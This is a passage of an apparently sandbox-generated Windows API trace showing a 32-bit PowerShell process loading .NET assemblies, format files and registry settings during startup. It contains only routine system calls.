lpFileInformation=0x2eb3be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0062.467] GetLastError () returned 0x0 [0062.467] SetErrorMode (uMode=0x1) returned 0x1 [0062.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.468] GetLastError () returned 0x0 [0062.468] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x320) returned 0x0 [0062.468] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.468] RegQueryValueExW (in: hKey=0x320, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.468] RegCloseKey (hKey=0x320) returned 0x0 [0062.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.468] GetLastError () returned 0x0 [0062.468] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.468] GetLastError () returned 0x0 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0062.483] GetLastError () returned 0x0 [0062.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0062.485] GetLastError () returned 0x57 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0062.494] GetLastError () returned 0x57 [0062.495] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.495] GetLastError () returned 0x57 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0062.496] GetLastError () returned 0x57 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0062.497] GetLastError () returned 0x57 [0062.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0062.499] GetLastError () returned 0x57 [0062.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0062.501] GetLastError () returned 0x57 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0062.502] GetLastError () returned 0x57 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0062.503] GetLastError () returned 0x57 [0062.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0062.504] GetLastError () returned 0x57 [0062.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0062.505] GetLastError () returned 0x57 [0062.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0062.506] GetLastError () returned 0x57 [0062.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0062.506] GetLastError () returned 0x57 [0062.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0062.508] GetLastError () returned 0x57 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0062.508] GetLastError () returned 0x57 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0062.508] GetLastError () returned 0x57 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0062.508] GetLastError () returned 0x57 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14dec4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetLastError () returned 0x57 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14df00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetLastError () returned 0x57 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetLastError () returned 0x57 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetLastError () returned 0x57 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetLastError () returned 0x57 [0062.537] VirtualQuery (in: lpAddress=0x14d3b0, lpBuffer=0x14e3b0, dwLength=0x1c | out: lpBuffer=0x14e3b0*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.541] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x72dfa514, Data2=0x9db0, Data3=0x40fc, Data4=([0]=0x9a, [1]=0x4, [2]=0xf6, [3]=0xff, [4]=0x2c, [5]=0x77, [6]=0xe6, [7]=0xd6))) returned 0x0 [0062.542] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xa84707c4, Data2=0xaf89, Data3=0x4f8a, Data4=([0]=0xaf, [1]=0xcc, [2]=0x30, [3]=0xcf, [4]=0xf6, [5]=0xed, [6]=0x55, [7]=0x7f))) returned 0x0 [0062.542] VirtualQuery (in: lpAddress=0x14d428, lpBuffer=0x14e428, dwLength=0x1c | out: lpBuffer=0x14e428*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.542] VirtualQuery (in: lpAddress=0x14d428, lpBuffer=0x14e428, dwLength=0x1c | out: lpBuffer=0x14e428*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.542] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x8301c7d2, Data2=0x137f, Data3=0x4eb2, Data4=([0]=0xbe, [1]=0x83, [2]=0x70, [3]=0x7e, [4]=0x3e, [5]=0xff, [6]=0xb, [7]=0x72))) returned 0x0 [0062.548] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x88185132, Data2=0xa5de, Data3=0x44c7, Data4=([0]=0xab, [1]=0x3d, [2]=0xdb, [3]=0x3e, [4]=0x78, [5]=0xf4, [6]=0x17, [7]=0x73))) returned 0x0 [0062.548] VirtualQuery (in: lpAddress=0x14d554, lpBuffer=0x14e554, dwLength=0x1c | out: lpBuffer=0x14e554*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.548] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.548] VirtualQuery (in: lpAddress=0x14d400, lpBuffer=0x14e400, dwLength=0x1c | out: lpBuffer=0x14e400*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.548] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0xbd0cc0f, Data2=0x68e9, Data3=0x49db, Data4=([0]=0xaf, [1]=0x22, [2]=0x18, [3]=0xd8, [4]=0xce, [5]=0xc0, [6]=0x70, [7]=0x90))) returned 0x0 [0062.548] VirtualQuery (in: lpAddress=0x14d554, lpBuffer=0x14e554, dwLength=0x1c | out: lpBuffer=0x14e554*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.548] VirtualQuery (in: lpAddress=0x14d46c, lpBuffer=0x14e46c, dwLength=0x1c | out: lpBuffer=0x14e46c*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.549] VirtualQuery (in: lpAddress=0x14d120, lpBuffer=0x14e120, dwLength=0x1c | out: lpBuffer=0x14e120*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.549] VirtualQuery (in: lpAddress=0x14d120, lpBuffer=0x14e120, dwLength=0x1c | out: lpBuffer=0x14e120*(BaseAddress=0x14d000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.549] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x448b33b6, Data2=0xd36b, Data3=0x4000, Data4=([0]=0x8e, [1]=0xb6, [2]=0xc0, [3]=0x3f, [4]=0xb, [5]=0x9b, [6]=0x9b, [7]=0x2c))) returned 0x0 [0062.549] CoCreateGuid (in: pguid=0x14e6c8 | out: pguid=0x14e6c8*(Data1=0x64ee9cca, Data2=0xb44d, Data3=0x4ab6, Data4=([0]=0xb5, [1]=0xd0, [2]=0x8, [3]=0xb1, [4]=0x84, [5]=0xc0, [6]=0x23, [7]=0x2e))) returned 0x0 [0062.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e16c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.549] GetLastError () returned 0x57 [0062.549] SetErrorMode (uMode=0x1) returned 0x1 [0062.549] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0062.550] GetLastError () returned 0x0 [0062.550] GetFileType (hFile=0x350) returned 0x1 [0062.550] SetErrorMode (uMode=0x1) returned 0x1 [0062.550] GetFileType (hFile=0x350) returned 0x1 [0062.550] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.551] GetLastError () returned 0x0 [0062.551] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.552] GetLastError () returned 0x0 [0062.552] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.552] GetLastError () returned 0x0 [0062.552] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.552] GetLastError () returned 0x0 [0062.552] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.552] GetLastError () returned 0x0 [0062.552] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.552] GetLastError () returned 0x0 [0062.553] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.553] GetLastError () returned 0x0 [0062.553] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.553] GetLastError () returned 0x0 [0062.554] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.554] GetLastError () returned 0x0 [0062.554] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.554] GetLastError () returned 0x0 [0062.554] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.554] GetLastError () returned 0x0 [0062.554] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.555] GetLastError () returned 0x0 [0062.555] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.555] GetLastError () returned 0x0 [0062.555] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.555] GetLastError () returned 0x0 [0062.555] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.555] GetLastError () returned 0x0 [0062.555] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.555] GetLastError () returned 0x0 [0062.557] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0062.557] GetLastError () returned 0x0 [0062.558] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0xbce, lpOverlapped=0x0) returned 1 [0062.558] GetLastError () returned 0x0 [0062.558] ReadFile (in: hFile=0x350, lpBuffer=0x2d89906, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d89906*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.558] GetLastError () returned 0x0 [0062.558] ReadFile (in: hFile=0x350, lpBuffer=0x2d8a198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2d8a198*, lpNumberOfBytesRead=0x14e6d4*=0x0, lpOverlapped=0x0) returned 1 [0062.558] GetLastError () returned 0x0 [0062.558] CloseHandle (hObject=0x350) returned 1 [0062.558] GetLastError () returned 0x0 [0062.558] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e234, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.558] GetLastError () returned 0x0 [0062.558] SetErrorMode (uMode=0x1) returned 0x1 [0062.558] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2dab194 | out: lpFileInformation=0x2dab194*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0062.558] GetLastError () returned 0x0 [0062.558] SetErrorMode (uMode=0x1) returned 0x1 [0062.558] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.558] GetLastError () returned 0x0 [0062.558] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x14e658 | out: phkResult=0x14e658*=0x350) returned 0x0 [0062.559] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x0, lpcbData=0x14e69c*=0x0 | out: lpType=0x14e6a0*=0x1, lpData=0x0, lpcbData=0x14e69c*=0x56) returned 0x0 [0062.559] RegQueryValueExW (in: hKey=0x350, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x14e6a0, lpData=0x257278, lpcbData=0x14e69c*=0x56 | out: lpType=0x14e6a0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x14e69c*=0x56) returned 0x0 [0062.559] RegCloseKey (hKey=0x350) returned 0x0 [0062.559] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14e200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) 